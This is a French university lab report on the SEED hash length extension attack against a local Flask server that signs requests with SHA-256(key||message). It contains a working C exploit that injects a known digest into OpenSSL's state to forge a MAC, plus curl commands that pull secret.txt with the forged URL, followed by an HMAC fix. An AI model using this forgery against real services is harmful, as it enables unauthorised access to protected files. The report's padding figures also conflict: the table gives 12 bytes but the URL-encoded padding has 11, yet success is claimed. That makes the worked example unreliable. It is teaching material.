Ecole Supérieure
d'Informatique et du Numérique
COLLEGE OF ENGINEERING & ARCHITECTURE

COMPTE RENDU

Cryptographie appliquée & Blockchain – TP3 – Attaque par Extension de Longueur de Hachage
4e année Cybersécurité — École Supérieure d'Informatique et du Numérique (ESIN)
Collège d'Ingénierie & d'Architecture (CIA)

Étudiant : HATHOUTI Mohammed Taha
KABORE Mohammad Sharif Jonathan

Filière : Cybersécurité

Année : 2026/2027

Enseignant : Mme. FADI

Date : 18 octobre 2026

Table des matières

Objectifs **2**

1 Task 1 : Envoi d'une requête légitime **3**
1.1 Principe du calcul de MAC . . . 3
1.2 Étape 1 — Calcul du MAC pour la liste des fichiers (Task 1a) . . . 3
1.3 Étape 2 — Envoi des requêtes avec `curl` . . . 3
1.4 Observations . . . 4

2 Task 2 : Construction du padding SHA-256 **4**
2.1 Principe du padding SHA-256 . . . 4
2.2 Étape 1 — Calcul de la longueur du message . . . 5
2.3 Étape 2 — Détail du calcul . . . 5
2.4 Étape 3 — Encodage pour l'URL . . . 5
2.5 Observations . . . 6

3 Task 3 : Attaque par extension de longueur **6**
3.1 Principe de l'attaque . . . 6
3.2 Étape 1 — Écriture du programme C . . . 6
3.3 Étape 2 — Compilation et exécution . . . 7
3.4 Étape 3 — Construction de l'URL forgée . . . 8
3.5 Étape 4 — Envoi de la requête forgée au serveur . . . 8
3.6 Explication de la correspondance . . . 9

4 Task 4 : Mitigation avec HMAC **9**
4.1 Pourquoi SHA256(clé ‖ message) est vulnérable . . . 9
4.2 Fonctionnement de HMAC . . . 9
4.3 Étape 1 — Modification de `verify_mac()` dans `lab.py` . . . 10
4.4 Étape 2 — Calcul du HMAC pour une requête légitime . . . 10
4.5 Étape 3 — Tests après redémarrage du serveur . . . 10
4.6 Observations . . . 11

5 Difficultés rencontrées **12**

6 Conclusion **12**

Objectifs

Ce TP (*Hash Length Extension Attack Lab*, SEED Labs) a pour but de comprendre le fonctionnement de l'attaque par extension de longueur de hachage (*hash length extension attack*). Cette attaque exploite une vulnérabilité dans la construction naïve d'un code d'authentification de message (MAC) de la forme MAC $= H(\text{clé}\|\text{message})$, où H est une fonction de hachage basée sur la construction de Merkle-Damgård (MD5, SHA-1, SHA-256, etc.).

$$\begin{array}{cc} \text{MAC}(k,m) = H(k\|m) & \textbf{VULNÉRABLE} \quad \text{vs} \\ \text{HMAC}(k,m) = H((k \oplus \text{opad})\|H((k \oplus \text{ipad})\|m)) & \textbf{SÉCURISÉ} \end{array}$$

Le TP consiste à : (1) envoyer une requête légitime au serveur web, (2) construire manuellement le padding SHA-256, (3) forger une requête malveillante sans connaître la clé secrète, et (4) corriger la vulnérabilité avec HMAC.

Environnement. Le serveur web est une application Flask accessible en local sur le port 5000. Il vérifie le MAC de chaque requête avant d'exécuter une commande (`lstcmd` : lister les fichiers, `download` : télécharger un fichier). La clé partagée pour UID 1001 est `123456` (lue dans `LabHome/key.txt`).

1 Task 1 : Envoi d'une requête légitime

Calculer le MAC correct pour deux requêtes (liste de fichiers et téléchargement de `secret.txt`) et les envoyer au serveur.

1.1 Principe du calcul de MAC

Le serveur calcule le MAC comme suit :

$$\text{MAC} = \text{SHA256}(\text{clé} \,\|\, : \,\|\, \text{message})$$

où `message` correspond à la partie paramètres de l'URL :

```
myname=<nom>&uid=<uid>&lstcmd=1[&download=<fichier>]
```

Le nom utilisé dans ce TP est `MohammedTahaHathouti` (sans espace).

1.2 Étape 1 — Calcul du MAC pour la liste des fichiers (Task 1a)

```
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$ python3 task1.py
=== Task 1a: List Files ===
Payload : 123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1
MAC     : df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305
URL     : http://www.seedlab-hashlen.com/?myname=MohammedTahaHathouti&uid=1001
            &lstcmd=1&mac=
df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305

=== Task 1b: Download secret.txt ===
Payload : 123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1&download=secret.txt
MAC     : 30b35b3f5c1f2524d63034a495330ee90c79b06bdff2281c8311cc72c2718a17
URL     : http://www.seedlab-hashlen.com/?myname=MohammedTahaHathouti&uid=1001
            &lstcmd=1&download=secret.txt
            &mac=30
b35b3f5c1f2524d63034a495330ee90c79b06bdff2281c8311cc72c2718a17
```

On peut également calculer directement depuis le terminal :

```
hathouti@Taha-inspiron-16:~$ echo -n "123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1" | sha256sum
df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305  -
```

1.3 Étape 2 — Envoi des requêtes avec `curl`

```
hathouti@Taha-inspiron-16:~$ curl -s "http://127.0.0.1:5000/?myname=MohammedTahaHathouti&uid=1001
  &lstcmd=1&mac=
df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305"
```

Réponse du serveur (Task 1a) :

— **Yes, your MAC is valid**

— *List Directory* : `key.txt`, `secret.txt`

```
hathouti@Taha-inspiron-16:~$ curl -s "http://127.0.0.1:5000/?myname=
↪ MohammedTahaHathouti&uid=1001
  &lstcmd=1&download=secret.txt
  &mac=30b35b3f5c1f2524d63034a495330ee90c79b06bdff2281c8311cc72c2718a17"
```

Réponse du serveur (Task 1b) :

— **Yes, your MAC is valid**

— *File Content* : `TOP SECRET.` / `DO NOT DISCLOSE.`

Requête	**MAC**	**Résultat**
`lstcmd=1`	`df1872e3...9305`	Fichiers listés
`lstcmd=1&download=secret.txt`	`30b35b3f...8a17`	Contenu de `secret.txt`

TABLE 1 – Requêtes légitimes envoyées au serveur

1.4 Observations

— Le MAC est calculé par `SHA256(clé:message)` en Python, ce que le serveur reproduit dans `verify_mac()` de `lab.py`.

— Le champ `myname` est présent dans le message signé mais le serveur ne l'exploite pas fonctionnellement ; il sert à individualiser les réponses (chaque étudiant obtient un MAC différent).

— Sans la clé secrète `123456`, il est impossible de calculer le MAC correct... à moins d'utiliser l'attaque par extension de longueur (Task 3).

2 Task 2 : Construction du padding SHA-256

Construire manuellement le padding SHA-256 pour le message de la Task 1, conformément à la RFC 6234, et l'encoder pour l'URL.

2.1 Principe du padding SHA-256

SHA-256 traite les données par blocs de **64 octets** (512 bits). Si le message M ne remplit pas un multiple de 64 octets, on lui ajoute un padding P structuré comme suit :

1. Un octet `0x80` (bit 1 suivi de zéros).
2. Des zéros `0x00` jusqu'à ce que la longueur totale $|M| + |P|$ soit congrue à 56 (mod 64).
3. La longueur de M exprimée en **bits**, encodée sur **8 octets** en **big-endian**.

Le padding totale fait donc $64 - (|M| \bmod 64)$ octets si le message ne remplit pas déjà un bloc.

2.2 Étape 1 — Calcul de la longueur du message

Le message complet (clé incluse) sur lequel porte le MAC est :

`123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1`

```
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$ python3 task2.py
Message        : 123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1
Message length : 52 bytes
Padding length : 12 bytes
Bit length     : 416 = 0x1a0
Padding (hex)  : 800000000000000000001a0
Padding (URL)  : %80%00%00%00%00%00%00%00%00%01%a0

Full padded message (hex):
3132333435363a6d796e616d653d4d6f68616d6d6564546168614861746 86f757469
267569643d31303031266c7374636d643d318000000000000000000001a0
```

2.3 Étape 2 — Détail du calcul

Élément	**Taille**	**Valeur**
Message	52 octets	`123456:myname=...lstcmd=1`
Octet de début de padding	1 octet	`0x80`
Zéros	3 octets	`0x00 0x00 0x00`
Longueur en bits (big-endian)	8 octets	`0x00 0x00 0x00 0x00 0x00 0x00 0x01 0xa0`
Total	**64 octets**	(un bloc SHA-256 complet)

TABLE 2 – Décomposition du padding pour un message de 52 octets

La longueur du message en bits est $52 \times 8 = 416 = \texttt{0x1A0}$, codée en big-endian sur 8 octets :

$$\underbrace{\texttt{00 00 00 00 00 00}}_{\text{6 zéros}}\ \texttt{01 A0}$$

2.4 Étape 3 — Encodage pour l'URL

Dans l'URL, chaque octet hexadécimal `\xNN` est remplacé par `%NN` :

`%80%00%00%00%00%00%00%00%00%01%a0`

Ainsi, la valeur du paramètre `lstcmd` dans l'URL forgée sera :

`lstcmd=1%80%00%00%00%00%00%00%00%00%01%a0`

2.5 Observations

— Le padding dépend uniquement de la longueur du message, pas de son contenu ni de la clé. Un attaquant peut le recalculer connaissant seulement la longueur du message et la longueur de la clé.

— Après padding, le bloc de 64 octets est exactement l'entrée que SHA-256 a traitée pour produire le MAC original. L'état interne de SHA-256 après ce traitement est précisément la valeur du MAC : c'est le cœur de la vulnérabilité exploitée en Task 3.

— Si $|M| \bmod 64 = 0$, il faut tout de même ajouter un bloc complet de padding (Task 4 du TP2 avait montré ce cas pour PKCS#5 ; SHA-256 obéit à la même logique).

3 Task 3 : Attaque par extension de longueur

Forger un MAC valide pour une requête incluant `&download=secret.txt`*, sans connaître la clé secrète, à partir du seul MAC observé en Task 1.*

3.1 Principe de l'attaque

Les fonctions de hachage basées sur Merkle-Damgård (dont SHA-256) maintiennent un **état interne** H_i après chaque bloc traité. La valeur finale du hachage est exactement cet état après le dernier bloc. Si l'on connaît $H(\text{clé}\|M)$, on connaît donc l'état interne de SHA-256 juste après avoir traité $\text{clé}\|M\|P$ (où P est le padding complétant ce bloc).

L'idée est d'initialiser un nouveau contexte SHA-256 avec cet état et d'y ajouter un message supplémentaire E (*extension*), sans jamais avoir besoin de la clé :

$$\text{MAC_forgé} = H\left(\underbrace{(\text{clé}\|M\|P)}_{\text{premier bloc, connu}} \|E\right)$$

Le serveur, de son côté, calculera :

$$\text{MAC_attendu} = H\left(\text{clé}\,\|\underbrace{M\|P\|E}_{\text{valeur de lstcmd dans l'URL}}\right) = \text{MAC_forgé} \quad \checkmark$$

3.2 Étape 1 — Écriture du programme C

On s'appuie sur l'accès direct aux champs internes de la structure `SHA256_CTX` d'OpenSSL (non disponible via l'API de haut niveau) :

— `SHA256_Init` initialise le contexte avec les constantes IV de SHA-256.

— `SHA256_Update` pour 64 octets fictifs : cela fait avancer le compteur interne (`c.Nl = 512`) pour simuler le traitement d'un bloc de 64 octets.

— On remplace `c.h[0..7]` par les 8 mots 32 bits du MAC connu.

— `SHA256_Update` avec le message d'extension `&download=secret.txt`.

— `SHA256_Final` produit le MAC forgé.

```c
/* length_ext.c - Hash Length Extension Attack */
#include <stdio.h>
#include <arpa/inet.h>
#include <openssl/sha.h>

int main(void)
{
    int i;
    unsigned char buffer[SHA256_DIGEST_LENGTH];
    SHA256_CTX c;

    SHA256_Init(&c);
    /* Simuler le traitement du premier bloc de 64 octets */
    for (i = 0; i < 64; i++)
        SHA256_Update(&c, "*", 1);

    /* MAC de la Task 1 : SHA256(123456:myname=MohammedTahaHathouti&uid
    =1001&lstcmd=1)
     * = df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305
    */
    c.h[0] = htole32(0xdf1872e3);
    c.h[1] = htole32(0x776050e2);
    c.h[2] = htole32(0x8a57c1eb);
    c.h[3] = htole32(0xa85902bf);
    c.h[4] = htole32(0xce728580);
    c.h[5] = htole32(0x6acaabd2);
    c.h[6] = htole32(0xcf5f591d);
    c.h[7] = htole32(0x90039305);

    /* Ajouter la commande supplmentaire */
    SHA256_Update(&c, "&download=secret.txt", 20);
    SHA256_Final(buffer, &c);

    printf("Forged␣MAC:␣");
    for (i = 0; i < 32; i++) printf("%02x", buffer[i]);
    printf("\n");
    return 0;
}
```

3.3 Étape 2 — Compilation et exécution

```
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$
↪ gcc length_ext.c -o length_ext -lcrypto
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$
↪ ./length_ext
Forged MAC:
↪ cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff
```

Les avertissements de compilation sont normaux : les fonctions `SHA256_Init`, `SHA256_Update` et `SHA256_Final` sont déclarées *deprecated* depuis OpenSSL 3.0, mais

elles restent indispensables ici car l'accès direct à l'état interne `c.h[]` n'est pas possible via l'API de haut niveau.

3.4 Étape 3 — Construction de l'URL forgée

Le script Python `task3.py` assemble l'URL et vérifie localement que le MAC forgé correspond bien à ce que le serveur calculera :

```
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$ python3 task3.py
Original message : 123456:myname=MohammedTahaHathouti&uid=1001&lstcmd=1
Original MAC     : df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305

Padding (URL-encoded): %80%00%00%00%00%00%00%00%00%01%a0
Forged MAC       : cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff

Forged URL:
http://www.seedlab-hashlen.com/?myname=MohammedTahaHathouti&uid=1001
  &lstcmd=1%80%00%00%00%00%00%00%00%00%01%a0
  &download=secret.txt
  &mac=cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff

[Verification] Server expected MAC : cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff
[Verification] Forged MAC matches  : True
```

3.5 Étape 4 — Envoi de la requête forgée au serveur

```
hathouti@Taha-inspiron-16:~$ curl -s --globoff "http://127.0.0.1:5000/?myname=MohammedTahaHathouti
  &uid=1001&lstcmd=1%80%00%00%00%00%00%00%00%00%01%a0
  &download=secret.txt
  &mac=cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff"
```

Réponse du serveur :

— **Yes, your MAC is valid**

— *File Content* : `TOP SECRET.` / `DO NOT DISCLOSE.`

L'attaque réussit : le serveur valide un MAC que l'attaquant a forgé **sans jamais connaître la clé secrète** `123456`.

3.6 Explication de la correspondance

Ce que l'attaquant calcule	$H((\text{clé}\|M\|P)\|E)$
Ce que le serveur calcule	$H(\text{clé} \,\|\, (M\|P\|E))$
Sont-ils égaux ?	Oui — la concaténation est associative et le padding P complète exactement le premier bloc.

TABLE 3 – Correspondance entre le calcul de l'attaquant et celui du serveur

La valeur de `lstcmd` reçue par le serveur contient les octets bruts du padding (`80 00 ... 01 a0`) suivis de `&download=secret.txt`. Après URL-décodage, `get_command()` retourne `1\x80\x00...\x01\xa0`, et `verify_mac()` reconstruit exactement le payload étendu.

4 Task 4 : Mitigation avec HMAC

Corriger la vulnérabilité dans `verify_mac()` en remplaçant `SHA256(clé ‖ message)` par HMAC-SHA256, puis vérifier que l'attaque par extension de longueur est désormais inefficace.

4.1 Pourquoi SHA256(clé ‖ message) est vulnérable

La construction $H(k\|m)$ expose directement l'état interne de SHA-256 comme valeur de sortie. Un attaquant qui connaît $H(k\|m)$ connaît précisément l'état de la machine SHA-256 après le traitement du bloc $k\|m\|P$. Il peut alors continuer le calcul pour n'importe quelle extension E, sans jamais avoir accès à k.

Cette propriété est inhérente à la construction de Merkle-Damgård, qui est par conception *itérative* : chaque bloc peut être continuée par n'importe qui connaissant l'état courant.

4.2 Fonctionnement de HMAC

HMAC est défini par la RFC 2104 :

$$\text{HMAC}(K, m) = H((K \oplus \text{opad}) \,\|\, H((K \oplus \text{ipad}) \,\|\, m))$$

avec `ipad` = `0x36` répété et `opad` = `0x5c` répété.

- Le hachage interne $H((K \oplus \text{ipad})\|m)$ n'est jamais visible de l'extérieur : il n'est que l'entrée du hachage externe.
- Même en connaissant $H((K \oplus \text{ipad})\|m)$, l'attaquant ne peut pas continuer le calcul externe $H((K \oplus \text{opad})\| \ldots)$ sans connaître K.
- L'extension de longueur est donc impossible.

4.3 Étape 1 — Modification de `verify_mac()` dans `lab.py`

Avant (vulnérable) :

```
def verify_mac(key, my_name, uid, cmd, download, mac):
    ...
    payload = key + ':' + message
    real_mac = hashlib.sha256(payload.encode('utf-8', 'surrogateescape')).
↪ hexdigest()
    ...
```

Après (sécurisé, Task 4) :

```
def verify_mac(key, my_name, uid, cmd, download, mac):
    ...
    # HMAC-SHA256 : la cle intervient dans deux niveaux de hachage
↪ imbriques
    real_mac = hmac.new(
        bytearray(key.encode('utf-8')),
        msg=message.encode('utf-8', 'surrogateescape'),
        digestmod=hashlib.sha256
    ).hexdigest()
    ...
```

Les fichiers modifiés sont `Code/www/lab.py` et `Labsetup/image_flask/app/www/lab.py` (copie Docker). Le module `hmac` est déjà importé en tête du fichier d'origine.

4.4 Étape 2 — Calcul du HMAC pour une requête légitime

```
hathouti@Taha-inspiron-16:~/Bureau/UIR/4A/S7/Cryptographie/TP3/Solutions$
↪ python3 task4.py
=== Task 4: HMAC-based request ===
Message : myname=MohammedTahaHathouti&uid=1001&lstcmd=1
HMAC    : a4050df0dd7885682e441f5329a11ccefc0c209c797ad011e2fbb5aa0bae5c06
URL     : http://www.seedlab-hashlen.com/?myname=MohammedTahaHathouti&uid
↪ =1001
            &lstcmd=1&mac=
↪ a4050df0dd7885682e441f5329a11ccefc0c209c797ad011e2fbb5aa0bae5c06
```

Notons que la clé n'est plus préfixée dans le message : elle est passée séparément à `hmac.new()`, conformément au design de HMAC.

4.5 Étape 3 — Tests après redémarrage du serveur

Après redémarrage de Flask avec la version HMAC :

```
# Requete legitime avec HMAC : doit reussir
hathouti@Taha-inspiron-16:~$ curl -s "http://127.0.0.1:5000/?myname=
↪ MohammedTahaHathouti
  &uid=1001&lstcmd=1
  &mac=a4050df0dd7885682e441f5329a11ccefc0c209c797ad011e2fbb5aa0bae5c06" \
  | grep -o "Yes.*valid"
Yes, your MAC is valid
```

```
7
8  # Ancien MAC SHA-256 (Task 1) : doit echouer
9  hathouti@Taha-inspiron-16:~$ curl -s "http://127.0.0.1:5000/?myname=
   ↪ MohammedTahaHathouti
10   &uid=1001&lstcmd=1
11   &mac=df1872e3776050e28a57c1eba85902bfce7285806acaabd2cf5f591d90039305" \
12   | grep -o ".*MAC.*valid"
13 Sorry, your MAC is not valid
14
15 # Requete forgee par extension de longueur (Task 3) : doit echouer
16 hathouti@Taha-inspiron-16:~$ curl -s --globoff "http://127.0.0.1:5000/?
   ↪ myname=MohammedTahaHathouti
17   &uid=1001&lstcmd=1%80%00%00%00%00%00%00%00%00%01%a0
18   &download=secret.txt
19   &mac=cede13107badb49d4f981e885c62db5bc7503121c2528309e286e84ce0db1dff" \
20   | grep -o ".*MAC.*valid"
21 Sorry, your MAC is not valid
```

Requête	**MAC**	**Résultat**
Légitime (HMAC)	`a4050df0...5c06`	**Valide ✓**
Ancien SHA-256 (Task 1)	`df1872e3...9305`	Rejetée
Extension de longueur (Task 3)	`cede1310...1dff`	**Rejetée ✓**

TABLE 4 – Résultats des tests après la mitigation HMAC

4.6 Observations

— **Incompatibilité des MACs** : le passage de SHA-256 à HMAC change la valeur du MAC. Tous les MAC précédents (Tasks 1 et 3) deviennent invalides, ce qui confirme que les deux schémas sont bien distincts.

— **Attaque impossible** : avec HMAC, l'état interne du hachage n'est jamais exposé (il est encore haché une fois avec $(K \oplus \text{opad})$). Aucune connaissance du MAC public ne permet de « continuer » le calcul.

— **Pratique** : le changement de code est minimal (une seule ligne en pratique), et HMAC est aussi performant que SHA-256 direct pour des messages courts. C'est la solution recommandée par toutes les normes (RFC 2104, NIST SP 800-107).

5 Difficultés rencontrées

Difficulté	Solution
Avertissements de compilation pour `SHA256_Init/Update/Final` sous OpenSSL 3.0 (*deprecated*)	Ces fonctions sont incontournables pour accéder à l'état interne `c.h[]`. Les avertissements sont acceptés et le programme fonctionne correctement.
Encodage URL du padding dans `curl` : le `%` est interprété par le shell	Utilisation de l'option `-globoff` pour désactiver l'expansion des `%` et des `[]` par `curl`.
Détermination de `htole32` pour les valeurs `c.h[]`	Sur un processeur little-endian (x86), `htole32(x) = x` ; il suffit de copier les 4 octets du hash dans leur ordre d'apparition (big-endian) et la fonction ne fait rien.
Compréhension de pourquoi le serveur accepte un `lstcmd` contenant des octets nuls	La fonction `get_command()` décode l'URL avec `surrogateescape`, préservant les octets bruts du padding. Le serveur reconstitue alors exactement le payload étendu lors de la vérification.

TABLE 5 – Difficultés rencontrées et solutions

6 Conclusion

Ce TP a mis en lumière une vulnérabilité fondamentale dans la construction naïve d'un MAC par simple hachage de la concaténation clé-message :

- **Task 1** : le calcul d'un MAC légitime par `SHA256(clé:message)` est simple et fonctionne correctement pour un usage honnête. On a pu envoyer des requêtes valides pour lister les fichiers et télécharger `secret.txt`.
- **Task 2** : le padding SHA-256 (RFC 6234) est entièrement calculable par un attaquant connaissant la longueur du message, sans en connaître le contenu ni la clé. Il détermine le format du premier bloc traité.
- **Task 3** : en injectant l'état interne du SHA-256 (c'est-à-dire le MAC public) dans un nouveau contexte et en le continuant avec une extension, on forge un MAC valide pour une requête malveillante — sans jamais connaître la clé secrète. Le serveur a accepté la requête forgée et retourné le contenu de `secret.txt`.
- **Task 4** : HMAC élimine l'attaque en encapsulant le hachage interne dans un second hachage paramétré par la clé. Le changement de code est minimal mais l'impact sécuritaire est majeur : aucune connaissance du MAC public ne permet à l'attaquant de poursuivre le calcul.

La leçon centrale est qu'en cryptographie, même les primitives sûres (SHA-256) peuvent être mal utilisées. La construction *correcte* pour un MAC est toujours HMAC, pas une simple concaténation.